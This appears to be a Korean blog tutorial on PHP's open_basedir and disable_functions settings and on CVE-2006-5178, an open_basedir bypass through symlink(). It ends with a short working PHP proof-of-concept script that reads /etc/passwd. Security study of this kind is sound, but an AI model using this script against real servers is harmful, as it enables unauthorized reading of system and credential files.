본 글은 ubuntu 18.04, php7.2를 기준으로 작성하였습니다.
(php 7.2버전에서는 해당 취약점이 패치가 되었나봅니당 php4.x나 5.x로 다시 확인 예정!)
what is open_basedir?
open_basedir을 이용하면 함수(shell함수 제외)를 사용하여 파일에 접근할 수 있는 것을 제한할 수 있습니다.
설정한 디렉터리에 있는 파일에만 접근할 수 있도록 제한해줍니다.
예를 들면, open_basdir=/var/www/html 으로 설정하면 html디렉터리 및 html디렉터리의 하위디렉터리에 있는 파일에만 접근할 수 있습니다.해당 디렉터리를 제외한 나머지 디렉터리는 제한됩니다.
Set open_basedir!
/etc/php/7.2/apache2/php.ini파일에서 설정해주면 됩니다.
:를 구분자로 하여 여러 경로를 지정할 수 있습니다.
위에서 "함수(shell함수 제외)"를 사용하여 파일에 접근할 수 있는 것을 제한할 수 있다고 했습니다.
해당 함수는 file_get_contents(), file_put_contents(), fopen(), scandir(), opendir(), glob(), include, require 등이 있습니다.
include함수로 예를 들어보겠습니다.
우선 /var/www/a.txt파일을 만들었습니다.
php.ini파일의 open_basedir설정을 아래와 같이 하지 않은 상태입니다.(주석처리)
include함수를 이용하여/etc/passwd파일을 열어봅니다.
/etc/passwd 파일이 잘 보이네요
이번에는 open_basedir설정을 하고나면 어떻게 다른지 확인해보도록 하겠습니다.
아래와 같이 /var/www/html로 open_basedir을 설정해주었습니다.
/var/www/html 디렉터리를 제외한 디렉터리는 접근이 안될것으로 예상이 됩니다.
마찬가지로 확인해보면 /etc/passwd 파일이 보이지 않는 것을 알 수 있습니다.
하지만 open_basedir을 이용하여 파일 접근을 제한해주더라도 shell함수를 이용하여 해당 파일에 접근하는 것은 제한할 수 없습니다.
이럴때는 disable_functions옵션을 이용해주면 됩니다.
What is disable_functions?
disable_functions로 지정한 함수들은 호출이 불가능하게 만들 수 있습니다. 즉, 위에서 못 막았던 shell함수도 다 막을 수 있습니다.
Set disable_functions!
/etc/php/7.2/apache2/php.ini파일에서 설정해주면 됩니다.
이렇게 open_basedir과disable_fuctions옵션을 이용하여 /var/www/html디렉터리를 제외한 디렉터리에 접근을 못하게 제한하고, shell함수도 사용하지 못하도록 제한해 놓는다면 이를 우회하는 방법은 없을까요?
정답은 No!! CVE-2006-5178 취약점을 이용하면 우회할 수 있습니다.
CVE-2006-5178 open_basedir bypass via symlink()
symlink()를 이용하여 open_basedir제한을 우회하는 취약점입니다.
공격자가 서버에 symlink, mkdir, unlink 을 이용한 PHP 스크립트를 업로드하면 open_basedir로 제한이 되어 있더라도 웹 서버의 파일을 읽거나 쓸 수 있습니다.
현재 아래와 같이 설정되어있는 상태입니다.
따라서 /var/www/html디렉터리를 제외한 디렉터리의 파일은 접근이 불가능합니다. 이를 우회하여 /etc/passwd파일을 열어보도록 하겠습니다
원리를 알아봅시다!!
먼저 /var/www/html디렉터리 밑에 a/a/a/a/a/a/디렉터리를 생성합니다.
a/a/a/a/a/a/디렉터리와 링크된 dummy심볼릭 링크 파일을 생성합니다.
또 dummy/../../../../../../etc/passwd파일과 링크된 xxx심볼릭 링크 파일을 생성합니다!
여기서 dummy는 a/a/a/a/a/a/과 링크되어있기 때문에 a/a/a/a/a/a/../../../../../../etc/passwd와 마찬가지입니다
a/a/a/a/a/a/../../../../../../etc/passwd는 경로가 잘못되었기 때문에 우리가 원하는 /etc/passwd파일을 가리키지 않습니다
이 상태에서 dummy 심볼릭링크 파일을 삭제해줍니다. xxx는 남아있는 상태입니다.
다시 dummy디렉터리를 만들어줍니다
그러면 dummy/../../../../../../etc/passwd가 되겠죠? 이제 경로가 올바르게 지정되어서 /etc/passwd파일을 가리키게 됩니다.
xxx를 열어보면 /etc/passwd파일이 보입니다
요걸 php스크립트로 작성합니다.
1 2 3 4 5 6 7 8 9 | <?php mkdir("a/a/a/a/a/a/", 0777, true); symlink("a/a/a/a/a/a/", "dummy"); symlink("dummy/../../../../../../etc/passwd", "xxx"); unlink("dummy"); mkdir("dummy"); include 'xxx'; ?> | cs |
올려봅니다
/etc/passwd파일이 노출된 것을 확인할 수 있습니다. (7.2버전은 패치가 된 것 같아서 일단 open_basedir을 해제했습니다. 어쨋든!이러한 원리로 open_basedir을 우회할수있습니다.)
[참고]
본 글은 제 18회 해킹캠프 'Security Option Bypass 101' - 문시우님의 발표자료를 참고하여 작성하였습니다!!!
(혹시나 문제가 있으면 알려주세요..!바로 글 내릴게욧ㅠㅠ!)